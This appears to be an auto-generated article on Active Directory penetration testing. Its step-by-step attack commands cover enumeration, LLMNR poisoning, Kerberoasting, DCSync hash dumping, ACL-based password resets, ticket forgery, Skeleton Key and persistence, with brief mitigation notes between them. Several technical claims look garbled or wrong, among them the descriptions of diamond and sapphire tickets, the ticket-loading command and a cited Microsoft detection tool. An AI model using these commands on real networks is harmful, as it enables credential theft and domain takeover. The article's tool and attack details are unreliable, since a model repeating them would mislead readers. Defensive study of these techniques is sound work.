Listen to this Post
Introduction:
Active Directory (AD) remains the backbone of enterprise authentication and authorization, but misconfigurations and legacy protocols make it a prime target for attackers. This article distills core techniques from an advanced online penetration testing training—covering initial exploitation, Kerberos attacks, credential dumping like DCSync, and new diamond/sapphire ticket forgeries—equipping red teamers and defenders with actionable tradecraft.
Learning Objectives:
- Execute initial AD reconnaissance and exploitation using native Windows tools and Linux attack frameworks.
- Perform Kerberos-based attacks (AS-REP roasting, Kerberoasting, golden/silver/diamond tickets) and DCSync credential dumping.
- Apply privilege escalation via DACL abuse, lateral movement, and persistence mechanisms in modern AD environments.
You Should Know:
- Initial Active Directory Exploitation – Enumeration & Blind Attacks
Before launching exploits, map the AD landscape. Attackers often start with unauthenticated LDAP queries, SMB null sessions, or LLMNR/NBT-NS poisoning.
Step‑by‑step guide:
- Linux (Kali): Use `enum4linux` and `crackmapexec` to gather domain info without credentials.
Enumerate domain via SMB null session enum4linux -U -S 192.168.1.10 CrackMapExec – enumerate domain users and shares cme smb 192.168.1.10 -u '' -p '' --shares cme ldap 192.168.1.10 -u '' -p '' --users
- Windows (from a joined machine): Query AD with built-in PowerShell.
Get domain information Get-ADDomain | fl DNSRoot, DomainSID List all domain users Get-ADUser -Filter -Properties SamAccountName | select SamAccountName
- Attack – LLMNR poisoning: Use `Responder` to capture NetNTLM hashes.
sudo responder -I eth0 -dwP
When a user mistypes a UNC path, their hash is sent to your machine. Crack with `john` or
hashcat.
2. Abusing Kerberos – AS-REP Roasting & Kerberoasting
Kerberos misconfigurations allow extracting user hashes without touching LSASS memory.
Step‑by‑step guide:
- AS-REP Roasting (no pre-authentication required):
Using Impacket's GetNPUsers.py GetNPUsers.py -dc-ip 192.168.1.10 -no-pass -request 'DOMAIN/' Crack the returned hash hashcat -m 18200 asrep.hash wordlist.txt
- Kerberoasting (service account extraction):
Linux with Impacket GetUserSPNs.py -dc-ip 192.168.1.10 -request 'DOMAIN/username:password' Windows with Rubeus (download from GitHub) Rubeus.exe kerberoast /outfile:hashes.kerberoast Crack with hashcat mode 13100
- Mitigation: Use managed service accounts (gMSA), set long complex passwords, and monitor for abnormal `TGS-REQ` requests.
- Credential Dumping: DCSync Attack – Mimicking a Domain Controller
The DCSync attack abuses the Directory Replication Service to pull password hashes from a Domain Controller (DC) – no code execution on the DC required.
Step‑by‑step guide:
- Prerequisites: You need a domain user with `Replicating Directory Changes` (or
All) privileges – often administrators, or misconfigured ACLs. - Linux – Impacket’s secretsdump.py:
secretsdump.py -dc-ip 192.168.1.10 DOMAIN/username:[email protected] Extracts krbtgt, NTLM hashes, and even cleartair passwords (if stored)
- Windows – Mimikatz:
privilege::debug lsadump::dcsync /user:krbtgt dump krbtgt hash lsadump::dcsync /all dump all domain users
- What this gives: With the `krbtgt` hash, you can forge golden tickets. With any user’s NTLM hash, pass‑the‑hash works.
- Detection: Look for Event ID 4662 (directory replication access) on DCs. Use `Set-ADObject` to audit who has
DS-Replication-Get-Changes.
- Privilege Escalation & DACL Abuse – BloodHound & ACL Modifications
Discretionary Access Control Lists (DACLs) are often dangerously permissive. Attackers abuseWriteProperty,ForceChangePassword, orGenericAll.
Step‑by‑step guide:
- Collect data: Run `SharpHound.exe` from a compromised Windows host or `BloodHound.py` remotely.
Windows SharpHound.exe -c All --ZipFileName loot.zip Linux (bloodhound-python) bloodhound-python -d DOMAIN -u user -p pass -ns 192.168.1.10 -c all
- Upload to BloodHound (neo4j + bloodhound GUI). Use prebuilt queries:
– “Find principals with DCSync rights”
– “Find paths to Domain Admins”
3. Abusing a misconfigured ACL – e.g., if user `A` has `ForceChangePassword` on user `B` (a Domain Admin):
Using PowerView (part of PowerSploit) Set-DomainUserPassword -Identity adminUser -AccountPassword (ConvertTo-SecureString "NewP@ss123" -AsPlainText -Force)
4. Mitigation: Regularly audit high-value ACLs. Remove unnecessary `Write` permissions. Use tools like ADACLScanner.
- Diamond & Saphire Ticket Attacks – Next‑Gen Kerberos Forgeries
Unlike golden (TGT) or silver (TGS) tickets, diamond tickets are forged with valid `encryption key` and `enc‑part` fields, making them harder to detect by modern EDRs (e.g., detecting anomalous PAC). Sapphire tickets are a variation for RC4 fallback.
Step‑by‑step guide (demonstration on lab environment):
- Requirements: Need the `krbtgt` hash (from DCSync) and domain SID.
2. Mimikatz – Diamond Ticket:
kerberos::golden /domain:DOMAIN /sid:S-1-5-21-... /krbtgt:hash /user:Administrator /ticket:diamond.kirbi /ptt
(Note: `/ptt` injects into memory. The “diamond” aspect comes from using `/ticket` with crafted timestamps – advanced scripts like `Rubeus diamond` exist.)
3. Rubeus – Sapphire Ticket (RC4 fallback):
Sapphire forces RC4 encryption and modifies the PAC Rubeus.exe sapphire /krbtgt:hash /user:Administrator /domain:DOMAIN /sid:S-1-5-21... /outfile:forge.kirbi
4. Usage: Inject the ticket and access resources:
Load ticket Rubeus.exe kerberoast /ticket:forge.kirbi Use ticket with PowerShell or PsExec Enter-PSSession -ComputerName DC01
5. Defense: Enable KRBTGT password rotation every 180 days, enforce AES encryption (disable RC4), and monitor for TGT requests with unusual fields. Use Microsoft’s `Invoke-ADDomainSync` for detecting extra tickets.
- Lateral Movement & Persistence – DCSync Shadow Credentials & Skeleton Key
After gaining domain admin, maintain access without raising alerts.
Step‑by‑step:
- Shadow Credentials (Key Trust): Add a public key to a user’s
msDS-KeyCredentialLink.Using Whisker (C) Whisker.exe add /target:DC01$ /domain:DOMAIN /password:pass
- Skeleton Key malware: Inject a master password into LSASS (detectable but still common in training):
Mimikatz on a DC misc::skeleton Access any user with password "mimikatz"
- DCSync as persistence: Grant your compromised user replication rights.
Add-DomainObjectAcl -TargetIdentity "DC=DOMAIN,DC=local" -PrincipalIdentity HackerUser -Rights DCSync
- Detection: Look for modified `msDS-KeyCredentialLink` (Event 5136) or new `DS-Replication-Get-Changes` assignments.
What Undercode Say:
- Key Takeaway 1: Active Directory remains a goldmine for attackers – from unauthenticated enumeration to full domain takeover via DCSync and diamond tickets. Offensive knowledge is essential for defenders to prioritize misconfigurations like over‑privileged ACLs and RC4 kerberos fallback.
- Key Takeaway 2: Modern attacks (sapphire, shadow credentials) bypass traditional golden/silver ticket detection. Organizations must move to tiering models, enforce AES, rotate krbtgt regularly, and monitor for replication access anomalies.
Analysis: The training topics reflect a shift from noisy LSASS dumping to stealthy Kerberos forgery and DACL abuse. Defenders often overlook directory replication rights, yet tools like BloodHound make privilege escalation chains visible. The inclusion of new attacks (Diamond, Saphire) shows that even mature security stacks fail against forgery that mimics legitimate tickets. Practical labs with `Rubeus` and `Mimikatz` are the fastest path to building detection rules – you cannot defend what you cannot simulate.
Prediction:
As hybrid identities (Azure AD/Entra ID) become standard, on-prem AD attacks will increasingly cross into cloud with attacks like “Golden SAML” and “Cloud Kerberoasting” . However, legacy AD will persist for another decade – especially in critical infrastructure. Expect training courses to pivot toward cross‑forest trust abuse, Microsoft Entra Connect sync exploitation, and automated offensive tools that chain DCSync to Azure Privileged Identity Management (PIM) escalation. The battle will no longer be just on the DC, but on the synchronization engine itself.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Ad Pentest – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
